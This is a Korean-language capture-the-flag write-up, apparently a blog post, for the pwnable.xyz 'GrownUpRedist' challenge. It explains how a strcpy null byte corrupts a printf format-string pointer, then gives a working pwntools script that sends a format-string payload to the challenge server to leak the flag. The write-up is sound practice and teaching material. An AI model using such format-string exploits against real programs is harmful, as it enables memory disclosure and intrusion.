0x601160 주소를 0ㅌ601168 로 초기화
0x601168 주소는 "%s\n" 으로 초기화
read(0, buf, 0x10) : buf 변수에 16 바이트 입력받음. y 또는 Y를 입력만 하면 되므로 15 바이트가 남는다.
src는 0x84 바이트 malloc 받음 - read(0, src, 0x80) 로 src에 0x80 바이트 입력받음 (null 포함 X)
-> overflow는 발생 X
strcpy(usr, src) : usr에 src 문자열 복사. 이때 null termination 추가되므로 usr + 0x80 주소는 0x00 값을 가진다.
근데 구해보면, usr + 0x80 은 0x601160 주소이며, printf 함수에 들어가는 format 문자열의 주소이다.
따라서 setup 함수에서는 0x601160을 0x601168 으로 초기화를 했는데, strcpy에서의 null termination 추가로 인해 0x00으로 값이 바뀌어서 0x601168 -> 0x601100이 된다.
이 말은 0x601100에 format 문자열이 들어가있는 것이다. (주소가 변조되어서)
이 주소는 usr + 0x20 에 위치하므로, Name을 입력할 때 앞의 0x20을 채우면 그 뒤에는 printf 함수의 format 문자열이 있으므로 여기에 있는 아까 입력한 flag 문자열의 주소를 %s로 출력할 수 있게된다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./GrownUpRedist")
p = remote("svc.pwnable.xyz", 30004)
p.sendlineafter("Are you 18 years or older? [y/N]: ", 'y' + 'A'*7 + p32(0x601080))
pay = 'A'*0x20 + "%p"*8 + "%9$s" + "%p"*7
pay += 'B'*(0x80 - len(pay))
p.sendafter("Name: ", pay+'n')
p.interactive()
# exploit
[pwnable.xyz] two targets (pwnable) (0) | 2019.11.02 |
---|---|
[pwnable.xyz] xor (0) | 2019.09.28 |
[pwnable.xyz] note (0) | 2019.09.27 |
[pwnable.xyz] misalignment (0) | 2019.09.17 |
[pwnable.xyz] add (0) | 2019.09.05 |